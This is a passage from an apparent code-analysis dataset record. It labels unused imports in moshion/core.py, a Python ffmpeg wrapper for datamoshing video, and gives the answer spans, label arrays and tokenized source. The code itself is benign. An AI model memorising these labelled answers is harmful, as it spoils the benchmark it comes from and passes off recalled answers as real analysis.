"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
robmoggach/python-moshion/moshion/core.py
[ { "content": "\"\"\"\n python-moshion - Datamoshing Motion\n (c) 2014 Robert Moggach, Fabio Piparo and contributors\n Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php\n\n core.py\n \n moshion is a command line interface to ffmpeg used to datamosh two\n video sequences to purposely create encoding artifacts.\n\n\"\"\"\n\n\nimport sys\nimport os\nimport glob\nimport copy\nimport subprocess\n\nfrom .pymosh import Index\nfrom .pymosh.mpeg4 import is_iframe\n#from .extractframes.timespec import time_to_frame\n#from .extractframes.multirange import multirange\nfrom .util import IS_TTY, HR, hilite\nimport sequence\nimport readline\n\n# pattern=os.path.abspath(pattern)\n# fseqs = sequence.glob(pattern)\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Moshion():\n \n\n\n\n\n \n\n\n", "metadata": "root.Moshion", "header": "['module', '___EOS___']", "index": 31 }, { "content": " def __init__(self, inseq, moshseq, start, end, outdir, moshstart=None, bitrate=\"8000\", keyframe=\"999\", threshold=\"100000000\", interval=\"9\", avionly=False, uber=False):\n self.uber = uber\n self.inseq = os.path.normpath(inseq.replace('\\\\', os.sep))\n self.filebase = self.inseq.split('.')[0].split(os.sep)[-1]\n self.fileext = self.inseq.split('.')[-1]\n self.moshseq = os.path.normpath(moshseq.replace('\\\\', os.sep))\n self.start = int(start)\n self.end = int(end)\n self.avionly=avionly\n if moshstart is None:\n self.moshstart = int(self.start)\n else:\n self.moshstart = int(moshstart)\n self.input_frame_list = list(range(int(self.start), int(self.end)+1))\n self.mosh_frame_list = list(range(int(self.moshstart), int(self.moshstart)+len(self.input_frame_list)+1))\n self.bitrate = bitrate\n self.keyframe = keyframe\n self.threshold = threshold\n self.interval = interval\n self.outdir = os.path.normpath(outdir.replace('\\\\', os.sep))\n self.to_mosh = []\n self.moshed = []\n if not os.path.isdir(self.outdir):\n os.makedirs(self.outdir, 0755)\n self.outfiledir = os.path.join(self.outdir, self.fileext)\n if not os.path.isdir(self.outfiledir) and not self.avionly: os.makedirs(self.outfiledir, 0755)\n outfilename = \"{2}{0}{1}_moshed.%04d.{2}\".format( os.sep, self.filebase, self.fileext )\n self.outseq = os.path.join(self.outdir, outfilename)\n# self.moshed = os.path.join(self.outdir, \"mosh_encode.avi\")\n self.file_list_dict = self.get_file_list_dict()\n self.write_file_list()", "metadata": "root.Moshion.__init__", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 33 }, { "content": " def get_file_list_dict(self):\n files = {}\n if not self.uber:\n file_list_name = 'frame_list.txt'\n file_list = ['ffconcat version 1.0']\n for frame in self.input_frame_list:\n file_list.append(\"file %s\" % self.inseq % frame)\n for frame in self.mosh_frame_list:\n file_list.append(\"file %s\" % self.moshseq % frame)\n files[file_list_name] = file_list\n else:\n file_list_name = 'frame_list.%04d.txt'\n uber_frame_list = list(self.input_frame_list)\n while uber_frame_list:\n file_list = ['ffconcat version 1.0']\n for frame in uber_frame_list:\n file_list.append(\"file %s\" % self.inseq % frame)\n for frame in self.mosh_frame_list:\n file_list.append(\"file %s\" % self.moshseq % frame)\n files[file_list_name % uber_frame_list.pop()] = file_list\n return files", "metadata": "root.Moshion.get_file_list_dict", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 65 }, { "content": " def write_file_list(self):\n for ffile, flist in self.file_list_dict.iteritems():\n file_path = os.path.join(self.outdir, ffile)\n out_file = file(file_path, 'w')\n out_file.write('\\n'.join(flist))\n out_file.close()", "metadata": "root.Moshion.write_file_list", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 87 }, { "content": " def get_encode_opts(self, list_file, avi):\n opts = ['ffmpeg']\n opts.extend(['-safe', '0'])\n opts.extend(['-i'])\n opts.extend([list_file])\n opts.extend(['-nostdin'])\n opts.extend(['-hide_banner'])\n opts.extend(['-pattern_type', 'sequence'])\n opts.extend(['-g', self.keyframe])\n opts.extend(['-sc_threshold', self.threshold])\n opts.extend(['-an'])\n opts.extend(['-vf', 'fps=25'])\n opts.extend(['-vcodec', 'libxvid'])\n opts.extend(['-f', 'avi'])\n opts.extend(['-y'])\n opts.extend([avi])\n return opts", "metadata": "root.Moshion.get_encode_opts", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 94 }, { "content": " def write_movie(self):\n self.to_mosh=[]\n if not self.uber:\n msg = '\\n\\nCreating initial movie\\n\\n'\n if IS_TTY: print hilite(msg,7)\n for key, value in self.file_list_dict.iteritems():\n list_file = os.path.join(self.outdir, key)\n avi_filename = \"{0}.avi\".format(self.filebase)\n self.to_mosh.append(avi_filename)\n avi = os.path.join(self.outdir, avi_filename)\n #, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE\n return subprocess.call(self.get_encode_opts(list_file, avi), close_fds=True)\n else:\n msg = '\\n\\nCreating initial movies\\n\\n'\n if IS_TTY: print hilite(msg,7)\n print hilite(self.input_frame_list,30)\n file_list_name = 'frame_list.%04d.txt'\n for frame in self.input_frame_list:\n list_file = os.path.join(self.outdir, file_list_name % frame)\n avi_filename = \"{0}_fr{1}.avi\".format(self.filebase, '%04d'%frame)\n self.to_mosh.append(avi_filename)\n avi = os.path.join(self.outdir, avi_filename)\n #, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE\n subprocess.call(self.get_encode_opts(list_file, avi), close_fds=True)", "metadata": "root.Moshion.write_movie", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 112 }, { "content": " def mosh(self):\n if self.to_mosh is None:\n return False\n else:\n for avi_filename in self.to_mosh:\n moshed_avi_filename = avi_filename.replace('.avi','_moshed.avi')\n msg = '{0}Creating moshed movie:\\n{1}{0}'.format(HR, moshed_avi_filename)\n if IS_TTY: print hilite(msg,15)\n input_avi = os.path.join(self.outdir, avi_filename)\n moshed_avi = os.path.join(self.outdir, moshed_avi_filename) \n # by johannesgj\n # https://github.com/grampajoe/pymosh/blob/master/examples/moshmotion.py\n # loads in the index of frames in the given avi file\n f = Index(input_avi)\n # So I can assign to the closed-over buffer\n buf = [None]\n \n def process_frame(frame):\n \"\"\"Process a frame, holding onto one P-frame at a time,\n which is used to replace any I-frames encountered.\"\"\"\n # if there is no frame in buf or the frame is not i-frame\n if buf[0] == None or not is_iframe(frame):\n # then buf is the seen p-frame\n buf[0] = frame\n else:\n # if it IS an iframe then use the buf'ers pframe\n frame = buf[0]\n # return the frame\n return frame\n \n # we use the list of frames in the loaded file\n for stream in f.video:\n # make a new list to put in frames YOU decide\n newstream = []\n # append it with a i-frame to make it load fine in video player\n newstream.append(stream[0])\n # two variables for counting frames and interval\n ix = 0\n jx = 0\n # stream is reduced by one since we have allready added one frame above\n for i in stream[1:]:\n ix += 1\n jx += 1\n # if ix the counter of interval is < interval select normal frames\n if ix < self.interval:\n newstream.append(process_frame(stream[jx]))\n # else bleed the reached frame for interval time\n else:\n newstream.append(newstream[-1])\n # init interval\n if ix > self.interval * 2:\n ix = 0\n # replace original stream with same length newstream\n stream.replace(newstream)\n \n # Call rebuild to recombine the modified streams and perform any other\n # maintenance the file format needs for clean output.\n f.rebuild()\n \n # Finally, write the modified file .\n f.write(moshed_avi)\n self.moshed.append(moshed_avi_filename)", "metadata": "root.Moshion.mosh", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 137 }, { "content": " def get_export_opts(self, seekto_str, fcount, moshed_avi):\n framerate = 25.0 # irrelevant - just needs to be constant\n# endframe = float(self.end+1)\n# exportsecs = endframe/framerate\n# fftime = \"%05.2f\" % exportsecs\n opts = ['ffmpeg']\n opts.extend(['-nostdin'])\n opts.extend(['-hide_banner'])\n opts.extend(['-i', moshed_avi])\n opts.extend(['-ss', seekto_str])\n opts.extend(['-frames:v',str(fcount)])\n opts.extend(['-vf', 'fps=25'])\n# opts.extend(['-ss', '00:00:%s' % fftime])\n opts.extend(['-f', 'image2'])\n opts.extend([self.outseq])\n print \" \".join(opts)\n return opts", "metadata": "root.Moshion.get_export_opts", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 200 }, { "content": " def write_sequence(self):\n framerate = 25.0 # irrelevant - just needs to be constant\n seekto_frame = float(len(self.input_frame_list)+1.0)\n seekto_secs = seekto_frame/framerate\n seekto_str = \"%05.2f\" % seekto_secs\n if not self.uber:\n fcount = len(self.input_frame_list)\n for key, fname in enumerate(self.moshed):\n msg = '{0}Exporting {2} frame image sequence from {3}: {1}{0}'.format(HR, self.outseq, fcount, fname)\n if IS_TTY: print hilite(msg,11)\n avi = os.path.join(self.outdir, fname)\n subprocess.call(self.get_export_opts(seekto_str, fcount, avi), close_fds=True)\n else:\n uber_frame_list = list(self.moshed)\n while uber_frame_list:\n fcount = len(uber_frame_list)\n fname = uber_frame_list.pop(0)\n avi = os.path.join(self.outdir, fname)\n msg = '{0}Exporting {2} frame image sequence from {3}: {1}{0}'.format(HR, self.outseq, fcount, fname)\n if IS_TTY: print hilite(msg,11)\n subprocess.call(self.get_export_opts(seekto_str, fcount, avi), close_fds=True)", "metadata": "root.Moshion.write_sequence", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 218 }, { "content": " def do_full_mosh(self):\n self.write_movie()\n self.mosh()\n self.write_sequence()", "metadata": "root.Moshion.do_full_mosh", "header": "['class', 'Moshion', '(', ')', ':', '___EOS___']", "index": 240 } ]
[ { "span": "import sys", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 10 }, { "span": "import glob", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 11 }, { "span": "import copy", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 11 }, { "span": "import sequence", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 15 }, { "span": "import readline", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", "python", "-", "mos", "hio", "n", " ", "-", " ", "Data", "mos", "hing", " ", "Motion", "\\", "10", ";", " ", "(", "c", ")", " ", "2014", " ", "Robert", " ", "Mo", "gga", "ch", ",", " ", "Fab", "io", " ", "Pi", "par", "o", " ", "and", " ", "contributor", "s", "\\", "10", ";", " ", "License", "d", " ", "under", " ", "the", " ", "MIT", " ", "license", ":", " ", "http", "://", "www", ".", "opens", "ource", ".", "org", "/", "license", "s", "/", "mit", "-", "license", ".", "php", "\\", "10", ";", "\\", "10", ";", " ", "core", ".", "py", "\\", "10", ";", " ", " ", "\\", "10", ";", " ", "mos", "hio", "n", " ", "is", " ", "a", " ", "command", " ", "line", " ", "interface", " ", "to", " ", "ffmpeg", " ", "used", " ", "to", " ", "datamo", "sh", " ", "two", "\\", "10", ";", " ", "video", " ", "sequence", "s", " ", "to", " ", "purpose", "ly", " ", "create", " ", "encoding", " ", "artifact", "s", ".", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "pymo", "sh_", "import_", "Index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "pymo", "sh_", "._", "mpeg", "4_", "import_", "is", "\\u", "iframe", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "from", " ", ".", "extract", "frames", ".", "times", "pec", " ", "import", " ", "time", "\\u", "to", "\\u", "frame_", "\\u\\u\\uNL\\u\\u\\u_", "#", "from", " ", ".", "extract", "frames", ".", "multi", "range", " ", "import", " ", "multi", "range_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "util_", "import_", "IS", "\\u", "TTY", "_", ",_", "HR", "_", ",_", "hil", "ite_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sequence_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "readline_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pattern", "=", "os", ".", "path", ".", "abs", "path", "(", "pattern", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "fse", "qs", " ", "=", " ", "sequence", ".", "glob", "(", "pattern", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "inse", "q_", ",_", "mos", "hse", "q_", ",_", "start_", ",_", "end_", ",_", "outdir_", ",_", "mos", "hst", "art_", "=_", "None_", ",_", "bitrate_", "=_", "\"", "800", "0", "\"_", ",_", "keyframe", "_", "=_", "\"", "999", "\"_", ",_", "threshold_", "=_", "\"", "100000000", "\"_", ",_", "interval_", "=_", "\"", "9", "\"_", ",_", "avi", "only_", "=_", "False_", ",_", "uber", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "uber", "_", "=_", "uber", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "inse", "q_", "=_", "os_", "._", "path_", "._", "normpath_", "(_", "inse", "q_", "._", "replace_", "(_", "'\\\\\\\\'_", ",_", "os_", "._", "sep_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fileb", "ase_", "=_", "self_", "._", "inse", "q_", "._", "split_", "(_", "'.'_", ")_", "[_", "0_", "]_", "._", "split_", "(_", "os_", "._", "sep_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "file", "ext_", "=_", "self_", "._", "inse", "q_", "._", "split_", "(_", "'.'_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mos", "hse", "q_", "=_", "os_", "._", "path_", "._", "normpath_", "(_", "mos", "hse", "q_", "._", "replace_", "(_", "'\\\\\\\\'_", ",_", "os_", "._", "sep_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start_", "=_", "int_", "(_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "end_", "=_", "int_", "(_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "avi", "only_", "=_", "avi", "only_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mos", "hst", "art_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mos", "hst", "art_", "=_", "int_", "(_", "self_", "._", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mos", "hst", "art_", "=_", "int_", "(_", "mos", "hst", "art_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", "=_", "list_", "(_", "range_", "(_", "int_", "(_", "self_", "._", "start_", ")_", ",_", "int_", "(_", "self_", "._", "end_", ")_", "+_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mos", "h", "\\u", "frame", "\\u", "list_", "=_", "list_", "(_", "range_", "(_", "int_", "(_", "self_", "._", "mos", "hst", "art_", ")_", ",_", "int_", "(_", "self_", "._", "mos", "hst", "art_", ")_", "+_", "len_", "(_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", ")_", "+_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bitrate_", "=_", "bitrate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "keyframe", "_", "=_", "keyframe", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "threshold_", "=_", "threshold_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "interval_", "=_", "interval_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "outdir_", "=_", "os_", "._", "path_", "._", "normpath_", "(_", "outdir_", "._", "replace_", "(_", "'\\\\\\\\'_", ",_", "os_", "._", "sep_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "to", "\\u", "mos", "h_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mos", "hed", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "self_", "._", "outdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "self_", "._", "outdir_", ",_", "0_", "755", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "outfile", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "self_", "._", "file", "ext_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "self_", "._", "outfile", "dir_", ")_", "and_", "not_", "self_", "._", "avi", "only_", ":_", "os_", "._", "makedirs_", "(_", "self_", "._", "outfile", "dir_", ",_", "0_", "755", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "outfilename", "_", "=_", "\"{", "2", "}{", "0", "}{", "1", "}\\u", "mos", "hed", ".", "%", "04", "d", ".", "{", "2", "}\"_", "._", "format_", "(_", "os_", "._", "sep_", ",_", "self_", "._", "fileb", "ase_", ",_", "self_", "._", "file", "ext_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "outs", "eq_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "outfilename", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "mos", "hed", " ", "=", " ", "os", ".", "path", ".", "join", "(", "self", ".", "outd", "ir", ",", " ", "\"", "mos", "h", "\\u", "encode", ".", "avi", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "file", "\\u", "list", "\\u", "dict_", "=_", "self_", "._", "get", "\\u", "file", "\\u", "list", "\\u", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "\\u", "file", "\\u", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "list", "\\u", "dict_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "files_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "uber", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "list", "\\u", "name_", "=_", "'", "frame", "\\u", "list", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "list_", "=_", "[_", "'", "ffc", "onc", "at", " ", "version", " ", "1.0", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "frame_", "in_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "list_", "._", "append_", "(_", "\"", "file", " ", "%", "s", "\"_", "%_", "self_", "._", "inse", "q_", "%_", "frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "frame_", "in_", "self_", "._", "mos", "h", "\\u", "frame", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "list_", "._", "append_", "(_", "\"", "file", " ", "%", "s", "\"_", "%_", "self_", "._", "mos", "hse", "q_", "%_", "frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "files_", "[_", "file", "\\u", "list", "\\u", "name_", "]_", "=_", "file", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "list", "\\u", "name_", "=_", "'", "frame", "\\u", "list", ".", "%", "04", "d", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uber", "\\u", "frame", "\\u", "list_", "=_", "list_", "(_", "self_", "._", "input", "\\u", "frame", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "uber", "\\u", "frame", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "list_", "=_", "[_", "'", "ffc", "onc", "at", " ", "version", " ", "1.0", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "frame_", "in_", "uber", "\\u", "frame", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "list_", "._", "append_", "(_", "\"", "file", " ", "%", "s", "\"_", "%_", "self_", "._", "inse", "q_", "%_", "frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "frame_", "in_", "self_", "._", "mos", "h", "\\u", "frame", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "list_", "._", "append_", "(_", "\"", "file", " ", "%", "s", "\"_", "%_", "self_", "._", "mos", "hse", "q_", "%_", "frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "files_", "[_", "file", "\\u", "list", "\\u", "name_", "%_", "uber", "\\u", "frame", "\\u", "list_", "._", "pop_", "(_", ")_", "]_", "=_", "file", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "files_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "file", "\\u", "list_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "ffil", "e_", ",_", "flist_", "in_", "self_", "._", "file", "\\u", "list", "\\u", "dict_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "outdir_", ",_", "ffil", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "file_", "=_", "file_", "(_", "file", "\\u", "path_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "file_", "._", "write_", "(_", "'\\\\", "n", "'_", "._", "join_", "(_", "flist_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mos", "hio", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "encode", "\\u", "opts_", "(_", "self_", ",_", "list", "\\u", "file_", ",_", "avi", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opts_", "=_", "[_", "'", "ffmpeg", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "safe", "'_", ",_", "'", "0", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "i", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "list", "\\u", "file_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "nost", "din", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "hide", "\\u", "banner", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "pattern", "\\u", "type", "'_", ",_", "'", "sequence", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "g", "'_", ",_", "self_", "._", "keyframe", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "sc", "\\u", "threshol", "d", "'_", ",_", "self_", "._", "threshold_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "an", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "._", "extend_", "(_", "[_", "'-", "vf", "'_", ",_", "'", "fp", "s", "=", "25", "'_", "]_", ")_", 